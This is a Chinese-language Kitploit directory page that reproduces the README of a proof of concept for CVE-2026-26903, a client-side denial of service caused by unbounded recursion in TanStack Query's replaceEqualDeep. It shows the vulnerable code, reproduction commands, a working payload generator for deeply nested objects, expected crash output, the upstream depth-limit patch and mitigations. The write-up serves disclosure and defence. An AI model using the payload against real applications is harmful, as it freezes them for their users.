Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-26903-PoC — 用于演示 CVE-2026-26903 的 PoC | Kitploit
工具/GitHubGitHub/john-jung/cve-2026-26903-poc
漏洞分析漏洞利用Web安全论文与研究学习与教育
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

用于演示 CVE-2026-26903 的 PoC

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-26903 PoC

TanStack Query 的 replaceEqualDeep 函数中因无界递归导致的拒绝服务

单个精心构造的、包含深度嵌套对象的查询更新即可无限期冻结 JavaScript 线程,导致应用程序完全无响应。无需任何身份验证或特殊权限。

受影响版本

此漏洞已在 @tanstack/[email protected] 中通过 PR #10032 修复,该版本于 2026 年 1 月 14 日发布。

包名受影响版本修复版本
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-query依赖存在漏洞的 query-core5.90.18+
@tanstack/vue-query依赖存在漏洞的 query-core5.90.18+
@tanstack/solid-query依赖存在漏洞的 query-core5.90.18+
@tanstack/svelte-query依赖存在漏洞的 query-core6.1.7+

官方描述

CVE-2026-26903:replaceEqualDeep 中通过无界递归导致的拒绝服务(严重级别:中)

TanStack Query 中的 replaceEqualDeep 函数在比较嵌套对象时执行递归比较,且没有深度限制。当处理深度嵌套的数据结构时,这会触发无界递归,导致栈溢出和应用程序冻结。

— 由 MITRE 分配

漏洞概述

TanStack Query 的 replaceEqualDeep 函数在内部用于判断查询数据是否真的发生了变化,通过在可能的情况下保留对象引用来优化重新渲染。该函数递归遍历对象属性以执行深度相等性比较。

问题所在

该递归实现缺少深度限制或循环检测:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

攻击机制

  1. 触发点:任何携带深度嵌套数据并经过 replaceEqualDeep 处理的查询更新
  2. 载荷:嵌套层级超过 5,000 层的对象
  3. 影响:JavaScript 线程立即冻结,UI 完全无响应
  4. 持续性:应用程序保持冻结状态,直到页面重新加载

攻击面

  • 直接:使用包含嵌套响应数据的 useQuery hooks
  • 间接:setQueryData、invalidateQueries 或任何查询缓存操作
  • 客户端:无需服务器参与——纯客户端 DoS

仓库结构

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

复现步骤

1. 克隆并配置

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. 运行 Node.js PoC(栈溢出崩溃)

root@kitploit:~
node poc.js

3. 预期输出

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. 运行浏览器 PoC(交互式可视化演示)

root@kitploit:~
open tanstack-query-poc.html
  1. 验证应用响应正常:
    • 点击计数器按钮
    • 在输入框中输入文字
    • 观察实时计时器计数
  2. 触发 DoS:
    • 点击 "触发 DoS(10000 层深度)- 应用将冻结"
    • 结果:计时器停止,按钮失去响应,页面冻结

详细测试

方案 A:独立 HTML 演示(无依赖)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

方案 B:React 应用(真实场景)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

预期行为

攻击前:

  • 计数器按钮递增
  • 实时计时器每秒更新
  • 输入框对输入做出响应
  • 所有 UI 交互正常工作

攻击后:

  • 计时器冻结在当前值
  • 计数器按钮停止响应
  • 输入框失去响应
  • 控制台不显示错误(线程被阻塞,而非崩溃)
  • 唯一解决办法:重新加载浏览器标签页/窗口

漏洞利用原理

该 PoC 生成深度嵌套的对象,并触发 replaceEqualDeep 对其进行处理:

1. 载荷生成

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. 攻击触发

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. 递归链

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

每次递归调用都会新增一个栈帧,直到 JavaScript 引擎的调用栈被耗尽,从而使线程冻结。

存在漏洞的代码

位置:@tanstack/query-core/src/utils.ts(约)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

补丁

该修复(已应用于 TanStack Query 提交 269351b)增加了深度限制以防止无界递归:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

关键变更:

  1. 新增 depth 参数,默认值为 0,用于跟踪递归深度
  2. 新增深度限制检查——当 depth > 500 时立即返回 b
  3. 在递归调用中递增 depth——replaceEqualDeep(aItem, bItem, depth + 1)

这一简单修复在允许合理嵌套(500 层对于真实世界的数据结构来说绰绰有余)的同时,防止了栈溢出。

缓解措施

临时规避方案

  1. 展平深度嵌套的数据,然后再传递给 TanStack Query
  2. 实现带有深度限制的自定义比较函数
  3. 在开发阶段监控查询数据的复杂度

正确的修复方式

在 replaceEqualDeep 中实现深度限制:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

或者使用迭代遍历来代替递归。

参考资料

  • GitHub 安全公告

免责声明

本概念验证(PoC)仅供教育和授权安全测试目的使用。请负责任地使用它,且仅针对您拥有或已获得明确测试许可的应用程序。作者不对任何滥用此信息的行为负责。

下载工具